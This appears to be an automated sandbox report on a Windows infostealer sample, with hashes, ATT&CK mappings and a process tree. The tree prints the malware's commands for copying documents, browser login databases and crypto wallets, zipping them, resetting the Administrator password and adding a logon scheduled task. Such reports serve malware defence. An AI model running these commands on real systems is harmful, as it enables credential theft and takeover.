62ba9639ef75606548755a259103e83f0ec1464b0f05c6f02fe5e35990de02c0

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/09/2026, 09:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe
Size 808KB
Sample260913-lsv59aaa47
SHA256 62ba9639ef75606548755a259103e83f0ec1464b0f05c6f02fe5e35990de02c0
MD5 d5d17b986fb728e4340968e603256974
SHA1 9752755518c4f303c2d419563be71b5d9b7a3552
SHA512 d75e661184be78b951f953c6984ee753f7d2b8359a41873c1cb7891894357250701cd26fabd69706ec261cdbcf5a836471c45a7ddad70ca83207068364566daf
SSDEEP 12288:ayzx0W0dvt5S6JMSQldt+FjFR8O3ykvS9Wug:r10WolM6JMSQIhFR8hb
TLSH
T1C0059E6167D803E2E077C27D89D98A9AE6B2B4040730ABC706E452993F33FE55E3E715
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
2	api.ipify.org
14	api.ipify.org

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
64	cmd.exe
1048	cmd.exe
1832	cmd.exe
5080	cmd.exe
2212	cmd.exe
3988	cmd.exe
740	cmd.exe
924	cmd.exe
3384	cmd.exe
1152	cmd.exe
1244	cmd.exe
3640	cmd.exe
4896	cmd.exe
208	cmd.exe
4624	cmd.exe
3032	cmd.exe
2608	cmd.exe
2432	cmd.exe
4756	cmd.exe
2268	cmd.exe
4264	cmd.exe
4260	cmd.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 64	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	89
PID 64 wrote to memory of 4168	64	cmd.exe	92
PID 4972 wrote to memory of 2608	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	93
PID 2608 wrote to memory of 2548	2608	cmd.exe	95
PID 4972 wrote to memory of 4896	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	96
PID 4896 wrote to memory of 4732	4896	cmd.exe	98
PID 4972 wrote to memory of 1048	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	99
PID 1048 wrote to memory of 3804	1048	cmd.exe	101
PID 4972 wrote to memory of 1832	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	102
PID 1832 wrote to memory of 4592	1832	cmd.exe	104
PID 4972 wrote to memory of 5080	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	105
PID 5080 wrote to memory of 4876	5080	cmd.exe	107
PID 4972 wrote to memory of 3384	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	108
PID 3384 wrote to memory of 2744	3384	cmd.exe	110
PID 4972 wrote to memory of 208	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	111
PID 208 wrote to memory of 4532	208	cmd.exe	113
PID 4972 wrote to memory of 2212	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	114
PID 2212 wrote to memory of 4184	2212	cmd.exe	116
PID 4972 wrote to memory of 2432	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	117
PID 2432 wrote to memory of 908	2432	cmd.exe	119
PID 4972 wrote to memory of 4624	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	120
PID 4624 wrote to memory of 1552	4624	cmd.exe	122
PID 4972 wrote to memory of 3988	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	123
PID 3988 wrote to memory of 4148	3988	cmd.exe	125
PID 4972 wrote to memory of 3032	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	126
PID 3032 wrote to memory of 4496	3032	cmd.exe	128
PID 4972 wrote to memory of 1152	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	129
PID 4972 wrote to memory of 1244	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	131
PID 4972 wrote to memory of 3640	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	133
PID 4972 wrote to memory of 4756	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	135
PID 4756 wrote to memory of 1860	4756	cmd.exe	137
PID 4972 wrote to memory of 740	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	138
PID 740 wrote to memory of 1804	740	cmd.exe	140
PID 4972 wrote to memory of 924	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	141
PID 924 wrote to memory of 1372	924	cmd.exe	143
PID 4972 wrote to memory of 2268	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	146
PID 2268 wrote to memory of 3624	2268	cmd.exe	148
PID 4972 wrote to memory of 4816	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	149
PID 4972 wrote to memory of 4264	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	151
PID 4264 wrote to memory of 2056	4264	cmd.exe	153
PID 2056 wrote to memory of 3260	2056	net.exe	154
PID 4972 wrote to memory of 4260	4972	2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe	155
PID 4260 wrote to memory of 3852	4260	cmd.exe	157

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-13_d5d17b986fb728e4340968e603256974_cobalt-strike_icedid_njrat.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.docx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:64
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.docx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.pdf" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.pdf" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.txt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.txt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.xlsx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.xlsx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.jpg" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.jpg" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.png" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.png" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.zip" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.zip" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.rar" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.rar" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.7z" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.7z" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.doc" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.doc" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.xls" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.xls" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:1552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.ppt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3988
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.ppt" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\Desktop\*.pptx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\Desktop\*.pptx" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\" /Y /S /C /Q
    3⤵
    PID:4496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\chrome_logins.db" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\edge_logins.db" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\logins.json" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\firefox_logins.json" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\AppData\Roaming\Bitcoin\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Bitcoin\" /E /Y /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\AppData\Roaming\Bitcoin\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Bitcoin\" /E /Y /C /Q
    3⤵
    PID:1860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\AppData\Roaming\Ethereum\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Ethereum\" /E /Y /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:740
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\AppData\Roaming\Ethereum\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Ethereum\" /E /Y /C /Q
    3⤵
    PID:1804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c xcopy "C:\Users\Admin\AppData\Roaming\Exodus\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Exodus\" /E /Y /C /Q >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\xcopy.exe
    xcopy "C:\Users\Admin\AppData\Roaming\Exodus\*" "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\Exodus\" /E /Y /C /Q
    3⤵
    PID:1372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\logs.zip' -Force"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\\elitra_cache\\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\\logs.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\\elitra_cache\"
  2⤵
  PID:4816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user Administrator SpaceBerqLock2026
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\net.exe
    net user Administrator SpaceBerqLock2026
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Administrator SpaceBerqLock2026
      4⤵
      PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "ElitraUpdater" /tr "%TEMP%\elitra_updater.exe" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "ElitraUpdater" /tr "C:\Users\Admin\AppData\Local\Temp\elitra_updater.exe" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_0uzxtgvq.umo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0uzxtgvq.umo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

MovePing.xlsx

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\MovePing.xlsx
Size 9KB
SHA256 fa3d0a41b1c00d04ce1344e1babcf3e3ed466f75a44ff3d2fc33dc0233952cfe
MD5 33e877b25352ed85b4c106b9b7c90e99
SHA1 bd1df0fdeb3caca464fa02bd55389fe293c43f83
SHA512 d6bf7c7c7eb412e2637081a4a559bc88550635e449e60fd2b01a7aeb5e3ea56113dca3d8be59497c78973529b92a5c951efee981c369c2113e8fd263d9af5d6b
SSDEEP 192:wc8mVnqpeBTszWEb3UySQpLSKaFUlbVvevUqzQXpS07iB0faon72:wc3meBgzWM3ab7UlM9z6p2B0faoi
TLSH
T122227C9AE570503EC1BBA87C804E80D3B66D90D09789B6866830F26E63821D742DF3DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UndoSelect.rar

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\UndoSelect.rar
Size 457KB
SHA256 3f15fc33dc7b54b0fdbd90184573ab7f2cd8d40e2c08dd75af0ff85972a5417d
MD5 4d30e2082a5010339056b67f6636ebaa
SHA1 6d1154351fb858d247567c7d226361440c61368b
SHA512 dc22a2ad82a32b75f2fffb23477ecc9c3f0af8d34725ebe502370b793f301f3244a698ae120271b4fa399982c5fbb3c071179927624815fb81211d1948f942d0
SSDEEP 12288:ePS+I4UkeeTqrWp/CmCKUnO+4p7AMLpwC9qd2:ePSL5k99BCmWnojdX95
TLSH
T11BA4233715BA56B273D7AADFC4F51E922F27B9A2416A38250B6B05DCC6C213C3331E16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_logins.db

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\chrome_logins.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

edge_logins.db

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\edge_logins.db
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

info.txt

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\info.txt
Size 59B
SHA256 eaa57bb3ee3de971d80b25f9ebfc176b78709f31e5bd2503417d7e6f49d66e3c
MD5 e06bc66adbe6b21aa67175e28264d7aa
SHA1 6e4f1900523a078f6f0346cbbf982ef4077ed56f
SHA512 8a52f056c900f2c89cd1f0f283ad491bde558712738d6ae92fe33452a07f7ebcc9019a307f315d5b00a2f4956161799b5d6c46fe4369f7296074eca7bc62dea3
TLSH
T11DA0026954333571C72040982A06EF0201558B2F5505527E298251EA98546265D42190
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.bmp

Path C:\Users\Admin\AppData\Local\Temp\elitra_cache\screenshot.bmp
Size 7.9MB
SHA256 b26a5d391161c43b90580c6fa4eedf831d1d37a9a4669f7adc42426ada13ca60
MD5 625c23534c94029300fcca0ed6aa25d9
SHA1 3da0963d13bd714257be53ab4d196f03eb7f3315
SHA512 18e970610d5862a38ee058dfc1c391cfb7df99aa4353b9d271557f0caf1300dd3c3c506de7640192d349f7a5c7320c6af301d2a92173753f0ae4951987a63f1c
SSDEEP 196608:j67Fs56DyFXuOOZXSpSfc/qMk8/JbLLWClBwQ9:j67Fs56DyFXuOOZXSpSfc/qMk8/JbLLJ
TLSH
T1378638B97B086C4AC53387F164D0E2F904280FDDEB95C198A9F1AEE3F4D6C509E991D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logs.zip

Path C:\Users\Admin\AppData\Local\Temp\logs.zip
Size 1000KB
SHA256 236f27ae16b754bd6c225de36b0240fa3c97b38c4ebc0eb57e30ca61f67cb232
MD5 3bebe2e077a53d08bc63b2c6b46c15be
SHA1 f727e1daffc71ecbaff1d05d642e8e944f72c81e
SHA512 92816add8db9971e17a717e4bad203ef85311e67ffa38e94d3de227afab441358a621582c332e27602885ce4e87f9998257191ecfd5f3d8ca354b5c6d94c5305
SSDEEP 24576:HgIONMmpQU1R+49lRwDgYLSDxgbhtYmOnKHPL9d:AIHcQU/+4OgYGDYPiGv
TLSH
T1252523A9B0FA4CB8E2DF4AB1D8B51FD12F21B57ACD61392D2B1B16885A8577C7301703
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3624-31-0x0000027244620000-0x0000027244642000-memory.dmp

Download

memory/3624-34-0x00000272453A0000-0x00000272453B2000-memory.dmp

Download

memory/3624-35-0x0000027245380000-0x000002724538A000-memory.dmp

Download

memory/4972-0-0x00007FF61EA90000-0x00007FF61EBAB000-memory.dmp

Download